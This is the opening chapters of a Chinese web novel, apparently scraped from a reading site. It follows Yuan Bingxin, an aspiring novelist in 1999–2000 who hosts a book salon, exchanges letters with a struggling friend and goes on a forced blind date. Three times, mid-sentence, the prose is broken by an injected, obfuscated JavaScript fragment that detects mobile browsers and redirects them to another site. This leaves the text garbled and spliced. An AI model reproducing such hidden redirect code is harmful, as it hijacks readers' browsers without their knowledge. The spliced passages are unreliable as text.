《戴着镣铐舞蹈》 1. 读书沙龙 这是1999年的最后一天,尽管是除夕夜,太阳读书小组的成员们阅读热情不减,每两周一次的沙龙会照常举办。 聚会的地方原本是一间废弃的棉纺厂,因为资产纠纷、员工欠薪等种种原因一直没有进行土地拍卖,便宜了这群无所事事的文艺青年。 生产机器被厂方卖了大半,剩下几台卖不出去的破铜烂铁,在空旷的厂房里宛如庞然大物。读书小组的成员们发动集体智慧,从不知道哪个犄角旮旯搬来一张大圆桌,围着几把成员们一起集资购买的绿色沙发,圆桌中央悬吊着一颗大瓦数白炽灯,周围再挂一圈廉价小彩灯,算是布置出了秉烛夜读的气氛。 已经到场的人三三两两坐在沙发上小声交谈,值得注意的是,唯一一把单人沙发上坐着一个矮个子的年轻女人,她没有和任何人交流,专注地拿笔在一本巴掌大的软抄本上写着什么。她像中学生一样扎着马尾辫,穿一件米黄色的波司登羽绒服,下身搭配牛仔萝卜裤,整个人瘦小得几乎要蜷缩在沙发里。和活泼青春的打扮不同的是,她起码有二十六七岁了,鼻子左右塌陷出明显的法令纹,面部也不那么饱满,有些凹凸不平,这使她在一群十八九岁青春洋溢的少男少女里显得有些格格不入。 随着读书小组成员们的陆续到场,矮个子女人低头看了一眼手表,清咳一声,提醒大家开始了:“各位太阳读书小组的朋友们,大家晚上好,好久不见,我是今天沙龙会的主持人真真。” “今天的阅读书目是法国女权运动创始人之一西蒙·波伏娃在1949年出版的代表作《第二性》,我先来开个头。”真真的主持风格显然不是花里胡哨的那类,她直接从圆桌上拿起一本黑皮书,封面上画着一只长得像爱心的黄色小鸟,下面有一个长头发的女人伸长手臂要去接。 真真摸到折了角的书页翻开,她的声音很清脆,甚至可以说有点儿尖利,像是没有经历过青春期变声的儿童的声音:“波伏娃在第二部第八章中写道:‘妓女的处境和已婚女人的处境是对称的,对于她们来说性行为都是一种服务,区别只在于价格、契约的期限和服务的对象。婚姻与卖|淫显然有着直接关系,娼妓制度就像落在家庭之上的阴影一样,伴随着人类。’” “请大家畅所欲言。” 漆黑而安静的棉纺厂房里响起“稀里哗啦”的翻书声,读书小组的成员们显然已经很习惯她直截了当的主持风格,戴一顶粉色绒球尖顶帽的女生率先开口:“我觉得波伏娃这段话并非认为妓女是正当的,她只是撇开道德,单纯从经济的角度来看。毕竟你们看,波伏娃同样是在这一章中写到:‘并非道德和心理处境使得妓女难以忍受她们的生活,而是她们的物质条件在大多数情况下是可悲的。’就算从经济的角度来看,如果太穷了,可以用双手自立根生,何必非要去当妓女呢?这就是不道德,不正当的。” 坐在真真旁边戴四方眼镜的男生“哗啦啦”把书往前翻:“可是前面405页又说:‘大部分妓女在道德上都适应她们的状况,这并不意味着她们是天生的不道德,而是意味着她们有理由自认为融入要求她们服务的社会。’这里显然意思是妓女们是被迫成为这样的身份,而并非完全不知廉耻。” 尖顶帽女生瞪圆了眼睛怒视过去,对方无辜地耸了耸肩。 “好吧,好吧,让我来问你们一个问题,”虽然火药味有点儿重,不过主持人真真像是很乐于见到这样的场面一样,露出了满意的笑容,“你们认为妓女是一门职业吗?” 尖顶帽女生不假思索,挑衅一样地大声开口:“当然不是!” 真真点了点头,转头看向方眼镜男生。 对方挠了挠头,他看起来大学刚毕业,恐怕连一次恋爱也没有谈过,说这些话时难免有些害羞。他下意识推了推鼻梁上的眼镜,坚持说了下去:“可是,当一个妓女可不是一件容易的事情。你想一想,光是美貌就已经是上天赐予少数人的天赋了,再说只有美貌是完全不够的,性感或者说魅力不可或缺,还要有一副厚脸皮、高情商和强大的心脏。抛开正当不正当,如果把妓女这个行当类比销售——我是说如果,这只是一个的假设,如果把妓女类比销售,销售用口才和酒量赚钱,妓女用身体赚钱,好像并没有什么不同对吧?如果你们去做妓女——这真的只是一个假设,不管前因后果,总之如果你们去做妓女,不管在座的男生还是女生,扪心自问,你能做一个成功的妓女吗——类比一个成功的销售?” 不能不说这是一次成功的演说,尖顶帽女生简直张口结舌,对方话音落地的时候她差点儿就要举起手鼓掌了。还好她及时记起了自己的立场,并暗暗猜测对方可能是什么深夜感情电台的播音员或者记者,鉴于对方发表刚才那段演说时的字正腔圆,甚至可能就是销售,而且是个大骗子销售,她恶狠狠地想。 “……虽然我想不起来怎么反驳你,但我很确定一定有哪里被你偷换了概念。”她艰难地说。顿了顿又说:“不过,好吧,我得承认,你的说法在一定程度上有点道理。” 方眼镜男生狡猾地眨了眨眼睛。 主持人适当地插入声音:“那么,我想我们可以达成共识,我们可以称呼她们为‘性工作者’,也许会更加客观——更加公正一些。” 尖顶帽女生点头:“是的。” “不过,有一点我不同意波伏娃,”真真说,“她所有的说法都建立在男权社会的基础上,当然这是一个事实,不过我可能有点儿……理想主义?” 说到这里她笑了一下,显得有些不好意思。 “我想大家一定还记得之前读过的《简·爱》吧?简想要离开罗切斯特时有一段名言。”她像教堂唱诗班的儿童一样虔诚地背出这段话,流利得像是已经读过上百遍,“‘你以为我贫穷、低微、不美、缈小,我就没有灵魂,没有心吗?你想错了,我和你有一样多的灵魂,一样充实的心。如果上帝赐予我一些美,许多钱,我就要你难以离开我,就像我现在难以离开你一样。上帝没有这样安排,但我们的精神是平等的。就如你我走过坟墓,平等地站在上帝面前。’” 她喘了口气,平复了一下因为激动而红润的脸蛋:“好吧,我说得再……嗯,再明确一点,我的意思是,如果一个女人是性工作者,我是说,尽管她是一位性工作者,她在我们面前,在任何的男人和女人面前,她和我们的灵魂是平等的,应当拥有平等的话语权。” “好了,让我们来读下一段……”主持人再次掌握了局面。 又经过三四次的讨论,圆桌上的时钟指针已经划过了数字“9”,真真终于放下手里的黑皮书,朝大家洋溢出真诚的微笑:“那么,本次读书沙龙就到这里结束了,提前预祝各位新年快乐。” 成员们陆陆续续离开棉纺厂,真真把黑皮书和之前一直在写的软抄本一起塞进凤凰牌自行车的车篮里,被迎面吹来的寒风冻得一抖,赶紧裹紧围巾跨上自行车坐凳。 “嘿!袁小姐!”方眼镜男生赶上来,“你往哪儿去!” 真真迅速回过头:“嘿,刘大记者,我说过不要这么喊我,这让我觉得自己好像是你的受害者!” 小时候他管她叫冰心姐姐,上中学以后开始直呼大名,以前任她欺负揉捏、只会跟在她屁股后面喊“姐姐”的胖墩小可爱一去不复返, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055806|149204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成了猫嫌狗厌的臭屁初中生。这也就算了,更过分的是,自从他大学毕业当了记者,而且是法制频道的记者后,称呼又改成了特别播音腔的“袁小姐”——是的,尖顶帽女生猜得没错,她的对手就是一位记者。 已经从臭屁初中生长成人模狗样的刘晨茂举双手投降:“好的,好的,袁冰心女士。” 他右手握成话筒的样子递过去:“采访一下袁冰心女士,为什么你每次主持都要选有争议的内容,不怕吵翻天办不下去?” 冰心撇撇嘴,自得地扬起下巴:“读书会光读书有什么意思,精彩的不就是思想的碰撞吗?” “头脑大风暴啊。”刘晨茂眼珠子一转,忽然注意到了什么,“这就是我妈说的那个金子一样的随身听?” “你说这个啊。”冰心从羽绒服口袋里摸出红壳子索尼随身听,上面还连着一副耳机。 刘晨茂好奇地问:“听说要一千块?” “一千三百二十五元。”冰心更正。 刘晨茂惊呼:“你花了一个月的工资?” “可是它放出来的声音真的很好听,一分价钱一分货嘛。”冰心不无得意地说,顺带纠正,“准确来说,是花了存款,不是工资,我辞职了。” “什么?你辞职了?!”刘晨茂的惊呼已经变形了。 “不要那么大惊小怪,”冰心吓得左顾右盼一阵,见没有什么熟人,才松了一口气,“嘘,我还没和老爸老妈摊牌呢。” 害怕再讲下去又扯出点别的什么不该说的,她急忙道别:“老妈让我买点猪脚回去,拜拜,邻居弟弟,回头见。” 刘晨茂气歪了脸:“嘿,不许再叫我邻居弟弟!” 冰心已经踩上自行车踏板一骑绝尘:“这是‘袁小姐’的还击。” …… 耳机里放着黑豹乐队主唱窦唯充满磁性的声音:“人潮人海中,有你有我,相遇相识相互琢磨哦……”冰心跟着摇滚音乐的鼓点踩着自行车,羊城这会儿完全沉浸在过年的气氛里,满眼都是热闹和喜庆的大红色,红对联红窗花红鞭炮。千禧年的到来是历史性的时刻,这种特别令所有人都更加兴奋。 旁边小孩在放炮仗,“噼里啪啦”响得耳膜都要穿了,冰心扯着嗓子大喊:“师傅,来半斤猪脚!” 卖猪肉的也喊:“侬港啥么事?听伐见!” “猪脚——半斤猪脚——” “猪脚?卖干净啦!” “各么就来半斤肘子——” “只有酱肘子——要伐?” “要——” 炮仗总算炸完了,冰心咳了咳喊哑了的嗓子,倍感后悔不该答应老妈出来买年货,接过装着酱肘子的塑料袋:“咦,旁边卖水果的小伙子呢?” “哦,侬港小何啊?”又有顾客来,卖肉的忙得不可开交,抽空回一句,“小何有正经工作的,前两年过年都来做生意的,今年伐晓得为什么不来,估计有事体。” 街上水泄不通,都是等着跨年的人,冰心最后只好下车推着走,回到家的时候已经快零点了。她习惯性在楼下信报箱找到写着“501”的格子,摸钥匙打开,本来没抱希望,没想到还真摸到了一封信。 借着天上烟花的光,白色信封上用秀气的字写着“真真收”。 刚撕开一半,头顶上响起开门的声音,老爸洪亮的大嗓门直接从顶楼穿到底楼:“真真,要零点钟声了,侬回来了还在底下磨蹭什么?快点上来!” “来啦!”冰心捏着信封“蹬蹬蹬”一路冲到家门口,只听见电视机里春晚主持人喊:“六、五、四、三、二、一,到——过年好!” 2. 第二十三封信 真真: 见信如晤。 你收到信的时候已经过年了吧?新年快乐! 最近一直没什么空给你写信,恭喜我吧,之前和你说过的北漂计划正式提上日程了!前两天银行的存款到期,春华都取了出来,足足有一万块钱!天哪,我真的难以想象,我们两个居然也是万元户了! 所以我和春华就商量过完年就去北京闯荡,不干现在的活了,太没尊严,人嘛既然有钱了当然得让自己活得好一点。我们准备去北京做点小买卖,反正别的不说,我和春华在羊城混的这几年,各行各业的人是见过太多了,起码做点小生意不至于让自己太吃亏吧! 真真,我真的好激动啊!原谅我用了这么多个感叹号,我真的太激动了,一想到过去无数次幻想过的美好生活就在不远的将来,我就觉得自己兴奋得能把大气层跳穿!恭喜我吧真真,真的真的,恭喜我吧! 不过,起初的兴奋过后,这两天我又隐隐生出些担忧,安徒生说“前方是光荣的荆棘路”,我却总是疑心这是命运又给我开的一个玩笑。毕竟以往每当我以为自己即将过上新生活的时候,比如妈妈说爸爸赚了大钱,全家的好日子要来了,又比如来羊城遇到的第一个人就说要给我介绍工作,还以为自己遇见了贵人。总而言之,每当我格外兴奋期待的时候,命运总是无一例外地送我一记滑铁卢。我记得邓老师,就之前跟你讲过的我高中的语文老师曾经讲过:“人在悲伤的时候不会犯错,这是人之常情,太过高兴的时候往往会出错。”难得邓老师讲点和学习无关的话,所以我到现在还记得,现在想想,在我身上还真是这样。 之前有个客人是学心理的,我本来是当讲故事说给他听调节一下气氛,没想到他居然跟我正儿八经扯起了心理知识,他说:“你这就不懂了吧,‘重蹈覆辙’其实是个心理学问题,人是自己选择成为了今天的自己,而不是大多数人以为的命不好,你明白这句话的意思吗?你的家庭、你的童年、你曾经受到过的创伤等等,这些组成了每当遇到类似的情境时你身不由己地做出的相同的选择。所以,‘重蹈覆辙’不止是重蹈覆辙而已,除非你能够挣脱出过去的阴影,成为全新的自己,否则你将永远重蹈覆辙。” 这些话我不敢对春华说,这段时间他一直非常努力地为上北京做准备,自从他从棉纺厂下岗去做临时工以后,我还是第一次见到他这样意气风发,不好再说什么丧气话了。也许是我杞人忧天了吧,想想也是,人哪能一直那么倒霉呢?就当作命运女神这一次终于眷顾了我们吧!我也只能这样想。 不过,不管怎么样未来还是值得期待的。我昨晚上做梦,梦见北京灯红酒绿的霓虹灯,梦见春华穿着笔挺的西装体面地和别人谈生意,甚至还梦见了什么你知道吗?还梦见我和春华生了个好漂亮的小女儿,哈哈!春华说我是想生女儿想疯了,哼,我才不理他,我就是以后想生个女儿怎么了?我还梦见小学二年级有篇课文就叫《北京》,我扎着小辫子端端正正坐在书桌前竖着课本读:“北京是我国的首都,是一座美丽的城市。北京有许多又宽又长的柏油马路,道路两旁绿树成荫,鲜花盛开……” 最近满脑子都想着上北京的事,没什么心思看书,写作的进度也落下了,这方面没什么好跟你分享的。不过我把你上次寄给我《星际牛仔》的光盘看得差不多了,我特别喜欢斯派克的星际旅程,有好兄弟,有女人,有小孩和狗相伴,一路上行侠仗义,惩恶劝善,这是怎样浪漫而美好的旅程啊!春华比我看得还要痴迷,他以前从来不看动画片的,还说我像小孩子一样幼稚,结果前两天竟然被我逮到熬夜看这个片子,哈哈!不过我知道他是真的羡慕这样的日子,我也很羡慕,有时候我觉得我们俩明明吃了这么多苦,却还是像小孩子一样天真。 对了,上次你说要在读书沙龙上探讨波伏娃那本《第二性》,反响如何?这本书我读了估计有十几遍吧,纸的边角都给我翻毛了,不知道你读书小组里那些大学生们读了会有什么反应?我这会儿好奇得心痒得很,你下次来信时务必记得写一下这件事啊!不晓得高知识分子们会怎么想,我最喜欢的还是波伏娃这句话:“有一天,女人或许可以用她的‘强’去爱,而不是用她的‘弱’去爱。不是逃避自我,而是找到自我;不是舍弃自我,而是肯定自我。那时,爱情对她和对他将一样,将变成生活的源泉,而不是致命的危险。” 刚刚春华回来,他给我买了件真维斯的羽绒服当新年礼物,还挺贵,哼,算他有良心。 本来还想写什么的来着,被春华这么一打岔给忘了。上次来信的最后,你说想辞职,我不知道说什么好,人的一生都在做各种各样或重要或不重要的选择,不过我一直觉得遵从自己内心的想法就是最好的选择,毕竟谁也没有资格来评判属于我们自己的人生。 希望在新的一年里,你我都能有美好的未来。 祝你天天开心。 秋实 2000年1月28日 - 一串欢快的铃声响,冰心急匆匆推开餐厅大门,火急火燎地扫视用餐区,终于在靠近清洁工摆放工具的角落找到了熟悉的身影。那里坐着一位穿着酒红色西装外套、白色一步裙的摩登女郎,年龄与她相仿,烫着时下最流行的波浪头,额头前的刘海儿向前卷曲。对方显然也发现了她,眼睛一亮,冲她热情洋溢地招手:“冰心,这里!” “抱歉抱歉,”冰心小跑着过来,嘴里抱怨,“都年初四了,路上怎么还这么堵啊!” 店里在放李玟唱的《想你的365天》,去年《宝莲灯》上映后这首歌大街小巷都在放:“……在,想你的三百六十五天,听,你写来的每句安慰……” 这家肯德基去年五月份开业的,羊城第一家肯德基新鲜出炉,算是小城里的大新闻了,大朋友小朋友潮水一样往里涌。现在隔了大半年,生意依旧红火,后面儿童乐园里的叫闹声吵得人头疼,摩登女郎不顾形象地啃了口鸡腿,万分后悔不该贪图新鲜在这里聚餐。 再一看对面不吃大餐,专心致志埋头在巴掌大的软抄本上笔走如飞的好友,不由大为不满:“喂喂,你不至于吧,出来吃饭还不忘你的创作大业?” “肯德基是新时代的时髦嘛,是条不错的素材。”冰心奋笔疾书,头抬也不抬。 “喂喂!”摩登女郎怒而拍桌,“袁冰心同志,我真的要生气了!” 最后两个字完工,冰心心满意足地盖上笔盖,夹起筷子从餐盘里夹了粒鸡米花吃,边嚼边心想:确实好吃,就是调味料放太多,要想做得难吃也难。边向好友求饶:“抱歉抱歉,最近满脑子想着写小说的事,是有点走火入魔了。嬿嬿,你最近怎么样?” “怎么样?”于嬿嬿画着精致妆容的脸猛地放大,她激动地站起来把脸凑到袁冰心,手在脸上比比划划,“你看看你看看,我这黑眼圈,我这法令纹,全都是被郑老巫婆折磨出来的!年末这段时间简直不是人过的日子,还好你辞职了,再这样下去我也要罢工了!” 于嬿嬿是冰心的大学同学兼同事,毕业后她们都被分配到了羊城报社,一开始也是摩拳擦掌准备在职场上大干一场的,结果发现每天的工作就是校对稿子,工作热情就这么逐渐磨掉了。“郑老巫婆”是她们编辑部的老大,四十多岁的老白骨精,为人尖酸刻薄,唯利是图,冰心辞职的导火索就是拒绝郑老巫婆交代给她的额外工作。郑老巫婆是一点不留情面,当着全部门人的面直接拍台子说:“你要是不干你就滚蛋!”冰心于是也就顺理成章地把早就写好的辞职信拍在了郑老巫婆面前,拍拍屁股真的滚蛋了。 “……你是不知道你走了以后郑老巫婆的脸色有多难看,那个叫五颜六色,跟打翻的颜料盘似的!”虽然已经过去半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055807|149204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个多月,于嬿嬿回想起那场精彩大戏还是忍不住拍案叫绝,“还有你那封辞职信,郑老巫婆大概是面子挂不住,想看看你为什么辞职好给自己台阶下,结果张口念了没两句就卡壳了。” 她肃着脸模仿起编辑部老大郑薇的腔调,从餐盘里摸了张餐巾纸摊开,假装是那封辞职信:“郑老大,我太年轻,还弄不清楚人生的意义是什么,但我觉得至少一定不是做这些日复一日的重复的机械劳动。郑老大,马丁·路德·金发表演讲时说:‘我有一个梦想。’我也有一个梦想,我想创作出一本精彩绝伦的小说……” “读到这郑老巫婆就卡壳了,”于嬿嬿模仿了一个瞠目结舌,想说什么又说不出来的僵硬表情,“也不读了,攥着你的辞职信就怒气冲冲地摔门出去了。我估计她一转身就得那张纸撕了,哈哈,真是大快人心!” 冰心听得目瞪口呆:“这么精彩的吗,早知道我就留下来慢点走了!” “话说回来,你那小说写得怎么样了?”于嬿嬿嘬了口可乐,润润讲干了的嗓子,“大话都说出去了,你可千万别只有花架子,最后灰溜溜地认输啊!” “唔,”说到这个冰心顿时眉飞色舞起来,“小说名字我已经取好了。” 她神情庄重地宣布:“叫《一个理想主义者的死亡》。” “嗯……”好友要写书,于嬿嬿自然是要百分百地支持,挖空脑袋回忆大学时候学到的那些文学知识,“嗯,很有70年末代知青文学的味道,又带点新时代青年作家的个人特色,不错不错。” 受到好友的鼓舞,冰心更加来劲了:“开头第一段话我也写好了。” “嗯嗯,你说。”于嬿嬿听得专注。 冰心清清嗓子,也没掏稿子,俨然已经在心里琢磨得滚瓜烂熟:“幻想是我赖以生存的养料,而不是仅仅凭借生存的本能去活着。乌托邦理想是我最后一根救命稻草,如果我不活在理想中,我就不是我了。” 于嬿嬿频频点头,不忘称赞一句鼓励一下:“写得不错,有点哲学的感觉,然后呢?” “没有然后了。” “啊?” 冰心耷拉下脸,泄气一般把身体摔在椅背上,胡乱摸出那本巴掌大的软抄本,摊开给于嬿嬿看。已经写掉了大半本,几乎都是日常搜集到的一些可能对写作有用的素材,夹杂两句灵光一闪现写下的句子,总而言之,都是不成型的零零碎碎的内容。 于嬿嬿翻得一头雾水:“你到底想写什么?” “我也不知道啊!”冰心苦恼地揪头发,“我很早以前就开始构思了,可是每次构思到一半就想不下去了,提笔写吧,写了没两页就觉得感觉不对,我都写了有十七八个开头了,到现在只有第一段话是确定的,这想起来容易做起来难啊。” 于嬿嬿傻眼了:“你不会到最后工作辞了,结果什么也没写出来吧?” “那不会的,不争馒头争口气嘛!我可不想到时候被郑老巫婆嘲笑。”冰心重振旗鼓,信誓旦旦地说,“其实这篇小说的主旨我很确定,要写一个被现实杀死的理想主义者,但是具体情节嘛……一直确定不下来。不过厚积薄发,我多积累积累写作素材,总有一天会文思泉涌的。” “希望吧。”于嬿嬿无精打采地咬着可乐吸管,“对了,你之前不是说已经放弃写小说了,觉得自己反正也没什么写作的天赋,怎么突然决定辞职重新追求梦想了?我当时可是被你吓了一大跳。” “唔,因为我的一个……朋友。”冰心说,“她家庭条件不太好,工作也很辛苦,但她非常热爱文学,抓紧一切休息时间创作出了一部非常精彩的小说。” “真了不起啊!”于嬿嬿问,“所以你就被这个朋友的行为鼓舞了?” “是啊,”冰心说,“看看她,我还有什么理由总是找借口安于现状,而放弃自己读书时候的理想呢?” 3. 相亲 “2月4日晚,本市发生一起重大刑事案件,好未来毛巾厂厂长蒋某某在家中被人杀害。警方已介入调查,初步确认光明会所工作人员孙某某为犯罪嫌疑人,疑似因感情纠纷犯案,于案发后潜逃,目前警方正在全力抓捕中。犯罪嫌疑人孙某某,女,二十五岁左右,身高约一米六,黑色长发,逃跑时上身穿黑色真维斯羽绒服、下身穿深色裤子。请市民朋友们注意人身安全,如有线索请立即报警,本台记者刘晨茂报道……” 收音机里正在播放晚间新闻,袁家没一个人在听,家里正闹得鸡飞狗跳。虽然快十年没打孩子了,当妈的威武依旧,抄起扫帚柄追着冰心满屋子跑:“侬个小宗桑,钞票拿不回来,好好的铁饭碗伐要了!写小说?写小说侬个魂灵头!” 冰心抱头鼠窜,心里把刘晨茂骂了个狗血喷头:老妈早上出门买菜正好碰到刘晨茂去上班,就三两分钟唠嗑的功夫,这不靠谱的家伙竟然把她辞职的事说漏了嘴……不过这颗炸弹早炸晚炸都得炸,伸头一刀缩头一刀,挨过去也就好了,她苦中作乐地想。 “好咧好咧,”眼看火气发得差不多了,老爸赶紧出来和稀泥,“侬晓得的呀,依就是各样子的人,侬现在再骂,工作也回不来了呀。” 最后两个字被突然“叮铃咚隆”欢快歌唱的门铃声压了过去,老妈的嘴还在一张一合地说教,冰心已经先斩后奏凑到猫眼上去了,一看心情大好:是姐姐袁铁心带着姐夫和女儿来拜年。 家庭大战画上休止符,冰心趁机躲到姐姐房间里。过了会儿铁心牵着四岁的女儿可可进来,看到她也不意外,冰心从小挨了揍就爱往她这儿跑。刚刚在客厅已经听老爸老妈说了妹妹辞职的事,铁心把女儿抱到椅子上,慢悠悠问:“妈妈发过火啦?” 冰心跟小时候一样从姐姐背后扑上去抱住她的脖子,叹气:“老妈这会儿心里肯定在想:老大什么事都不用愁,老二怎么这么不省心!” 铁心没忍住翻了个白眼:“难道不是?多大年纪了还在叛逆。” 冰心也不生气,笑嘻嘻趴在姐姐背上荡秋千:“老爸都说了嘛,我就是这样的人。” 两姐妹打小性格就大相径庭:铁心文文静静,说话做事不紧不慢,冰心上蹿下跳,一点就炸。等读书了铁心永远是规规矩矩刻苦学习的好学生,冰心做作业磨磨唧唧,上课说小话传纸条,没少挨揍。到了青春期冰心更是不得了,读书只喜欢语文历史,让她学数理化跟杀了她头一样。好在虽然从小吵吵闹闹,姐妹俩感情倒是不错,用冰心的话来说这叫“求同存异”,用铁心的话来说“掰了二十几年也没把犟头犟脑的性子掰过来,除了忍着还能怎么办”。 “我还记得你初三的时候,”铁心说,“好像是因为班级纪律不好你们班主任正在训话,结果你还回头讲话,撞枪口上给你们班主任拉到走廊上骂了一天,你还不服气顶嘴。回来妈妈叫你服软,省得班主任在成长册上写你不好,你就是不愿意和老师道歉。” “我没有讲话,”冰心纠正,“是我回头翻书包拿东西,班主任以为我在讲话。后来她应该是反应过来自己看错了,但是因为我不服管教,所以骂了我一天,想让我服软。” “服软不是说让你心里认为自己是错的,但是能让你过得更好,你如果一开始不顶嘴,就不会挨一天的骂了。”对于从不和老师顶嘴的好学生铁心来说,这件事情印象深刻,以至于妹妹时隔多年又开始叛逆了,她还能想起这件事,“那时候你在想什么呢?” “我可能……”冰心想了想说,“我可能只是讨厌屈服。” “讨厌!讨厌!”可可看两个大人聊天,不甘寂寞,挥舞着小短腿溜下椅子,“啪”一下抱住冰心的大腿,幼儿园小朋友跟鹦鹉似的爱学舌,“小姨,什么叫屈服?” 冰心冷不丁伸手抢走了可可怀里抱的兔子玩偶,小丫头吱哇乱叫:“还给我!还给我!” “可可,小姨觉得你玩心太重了。”冰心举高玩偶,可可使出吃奶的力气蹦起来也抢不到,她板着脸看着可可,“听妈妈说你在幼儿园珠心算学得不好,等你学好了,小姨就把小兔子还给你,好不好?” 可可眼睛眨巴了下,咧开嘴号啕大哭:“妈妈!小姨欺负我——” 冰心赶紧把玩偶塞回小丫头怀里,对铁心说:“你看,连小孩子都知道反抗。” 刚抱着可可哄了两句,客厅传来老妈的怒吼:“真真,侬现在反正没事体可以做,爸爸讲依学校里有老师怀孕了,缺一个语文老师,侬过好年给我去代课,省得整天呆在屋里骨头都要酥掉了!” 老妈一如既往的想一出是一出,冰心低头看了看她越哄哭得越厉害的小侄女,愁得头大,扭头吼回去:“不要,我去当老师,就是误人子弟!” “侬写小说伐要素材的啊?当老师伐就是现成的素材?就当体验体验嘛。” 当妈的还是了解女儿,跟她肚子里蛔虫一样,冰心想了想,还真是这么回事,不情不愿地“哦”了声。 话还没完:“侬现在反正闲了,妈妈刚刚帮侬约了个男孩子,侬初中同班同学,知根知底的,人家现在工作老好了,当警察,人踏实能干,卖相也好,侬后天去见见面。” “哦……” 铁心看她忍辱负重的表情,忍不住笑:“那现在呢,你还讨厌屈服吗?” “现在嘛,我学会了适当的妥协。”冰心冲姐姐眨了眨眼睛,“这是我工作三年多学到的最重要的生存法则。” - “告别沉重的20世纪,来到世纪之交的千禧年,我们迫不及待地踏入了崭新的21世纪……”冰心捏着媒人写好地址的纸条找到地方,推开餐厅大门,是家吃面的苍蝇馆子,收银台上老旧的银白色德生收音机里播音员抑扬顿挫的声音断断续续,时不时被“滋滋”的电流声打断。 新世纪的潮流风向标是肯德基和麦当劳,再不济也是像点样子的饭店,把相亲地点选在这种鸟不拉屎的地方,对方要不是穷得叮当响,就是和她一样被家里逼来相亲,破罐子破摔专门来恶心人的。 面馆子斑驳龟裂的白墙上的米老鼠挂钟分针指向“10”,冰心严格遵守社交礼仪提前了十分钟到。半个小时后,她记录灵感的软抄本都写完了一页,老板来了两次催她点单,相亲对象才姗姗来迟。 “不好意思,来晚了。”对方的道歉来得礼貌而敷衍。 冰心把笔夹进软抄本收起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对于孔孝贤,冰心只记得他数学特别好,次次考试不是第一就是第二,语文英语特别差,尤其是语文,他是她见过的第一个语文能考四十多分的人。他还喜欢踢足球,初中的时候学校有次像模像样地在泥土地上举办球赛,孔孝贤代表班级去参加了,班主任带着全班去看,好像还赢了。冰心印象不深,看比赛的时候她好像躲在人群后面构思新小说的人物设定,整场比赛都神游天外,没看几眼。 再多的印象就没有了,孔孝贤初中长什么样她都不记得了,来之前还特地翻出了毕业照,认了认脸才来的。 对方现在的样子倒是很人模人样:穿着去年全国警局刚统一换新的“九九式”警服,藏蓝色常服和领口露出来的铁灰色衬衫簇新挺括。长相没有太大变化,警帽下面露出来的头发没有像追求时髦的年轻人一样抹油光滑亮的摩丝,跟读书的时候一样剃着刺猬一样的寸头,还比初中的时候更加精神挺拔了一点。就是看冰心的眼神不像看老同学,倒活像是看老仇人。 “袁小姐,我对你没什么意见。”孔孝贤说,被戳破了故意搅黄这场相亲的心思,他甚至没有说两句好听话维持场面上的好看,“家里硬要我来的,我暂时不想结婚,我们也不合适,耽误你时间了,抱歉。” 前有刘大记者,后有孔大警官,个个爱叫她“袁小姐”,干这一行的叫起人来都跟叫受害人似的。冰心听得浑身一个激灵,心里一百个同意“我们不合适”。 4. 第十八封信 真真: 见信如晤。 原来你五年级就开始写小说了,真了不起!我是初一才开始写的。我和你不一样,不爱看打打杀杀的武侠小说,初一在同学家里读王小波的《一只特立独行的猪》,他写乡下猪圈里一头不肯被骟,不服从、不从众的特别的公猪:“我已经四十岁了,除了这只猪,还没见过谁敢于如此无视对生活的设置。相反,我倒见过很多想要设置别人生活的人,还有对被设置的生活安之若素的人。因为这个原故,我一直怀念这只特立独行的猪。”读到这里的时候,说不上来是因为什么,突然就觉得手指尖很痒,心里也很痒,痒得好像指尖心尖要开出花了,痒得特别想要赶紧写点什么来止住这种痒。 我的第一篇小说是捡了我爸抽完的烟盒写的,上学用的练习簿太贵,一本要1角2分钱。放了学回家要帮忙干活,只能在学校里写,我到现在还记得那时候上课的时把课本立起来挡着,耳朵竖得老高分辨老师的声音离得远还是近,一边提心吊胆害怕被发现,一边摊开烟盒纸奋笔疾书。放学回到家,把写小说的烟盒纸偷偷藏在抽屉底下的缝隙里,直到我高中辍学都没被爸妈发现过,第二天上学了再用铁丝把烟盒纸勾出来,带去学校继续写。 我爸抽的是最便宜的3分钱一包的羊群牌香烟,烟盒拆开来摊平也只有巴掌大,我爸烟抽得不多,捡来的烟盒没几个,我只好把字写得跟蚂蚁一样小,密密麻麻的,写完一整张那成就感什么事儿都比不上。大概是偷着做的事情总是特别香,那种跟做贼似的躲着老师和家长偷偷写小说的感觉,从小到大第一次创作完全由自己创造出来的人物和故事带来的灭顶的、冲昏头脑的快乐,是现在工作了自力更生以后,想什么时候写小说就写,想写多久就写多久的那点自由带来的快乐完全比不上的。 